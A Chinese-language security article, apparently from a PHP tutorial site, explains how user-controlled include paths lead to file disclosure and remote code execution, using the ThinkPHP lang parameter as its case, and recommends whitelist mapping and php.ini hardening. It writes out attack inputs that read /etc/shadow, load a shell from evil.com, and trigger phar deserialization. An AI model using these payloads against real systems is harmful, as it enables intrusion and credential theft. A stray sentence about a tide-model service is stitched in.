include拼接路径等于开后门,因其加载并执行php代码而非读文件;路径可控即导致任意文件读取或rce,如phar://、远程url等协议绕过,且常见于thinkphp lang参数等未校验场景。

include 拼接路径为什么直接等于开后门
因为 include 不是“读文件”,而是“加载并执行 PHP 代码”。只要路径可控,攻击者就能让服务器去执行任意内容——哪怕只是 /etc/passwd,PHP 也会尝试把它当 PHP 脚本解析(报错但泄露内容);若配上 phar:// 或远程 URL,就直接 RCE。
拼接时常见的三个失控点
开发者常以为加个固定后缀、过滤点点斜杠就安全了,实际漏洞往往藏在路径解析的细节里:
-
basename()只能防../../../,但挡不住phar://upload.zip/test.php这类协议绕过 - 拼接
./lang/+$_GET['lang']+.php,看似闭合了后缀,但lang=zh-cn%00(空字节截断)或lang=zh-cn/.php仍可能绕过(尤其在旧版 PHP 中) - 用
realpath()做校验前没先处理协议头,realpath('phar://a.phar/x')会成功返回路径,不报错也不阻断
ThinkPHP 的 lang 参数就是典型反面案例
5.x/6.x 多语言模块默认把 $_GET['lang'] 直接拼进 include 路径,且未限制协议、未做白名单。攻击者发 ?lang=../../../etc/shadow 就读取密码影子文件;?lang=http://evil.com/shell.php 在 allow_url_include=On 时直接执行远程代码;?lang=phar://upload.jpg/exploit.bin 则绕过所有 URL 限制触发反序列化 RCE。
访问全球海洋潮汐模型。功能包括查询指定日期、时间和地点的潮高、潮汐极值及格点天气数据。
这个模式在 QVD-2022-46174 中被正式收录,影响面极广——关键不是框架有 bug,而是它默认信任了用户输入的路径片段。
真正安全的做法不是“怎么拼”,而是“根本不拼”
动态拼接路径本身就是高风险行为,防御重心必须从“过滤输入”转向“消除变量参与”:
- 改用白名单数组映射:
$langs = ['zh-cn' => '/var/www/app/lang/zh-cn.php', 'en-us' => '/var/www/app/lang/en-us.php']; include($langs[$_GET['lang']] ?? die('Invalid lang')); - 强制使用绝对路径 +
__DIR__:include(__DIR__ . '/config/' . $safe_file);,但前提是$safe_file必须来自白名单或严格正则(如^[a-z]{2}-[a-z]{2}$) - 在 php.ini 中设死
open_basedir和allow_url_include = Off,这两项配置不生效,其他所有代码层防护都可能被绕过
最常被忽略的一点:Cookie、HTTP Header、上传文件名这些非 GET/POST 的输入源,同样能进 include——审计时漏掉 $_COOKIE['theme'] 或 $_SERVER['HTTP_ACCEPT_LANGUAGE'],就等于留了一扇没锁的窗。
php免费学习视频:立即使用
踏上前端学习之旅,开启通往精通之路!从前端基础到项目实战,循序渐进,一步一个脚印,迈向巅峰!










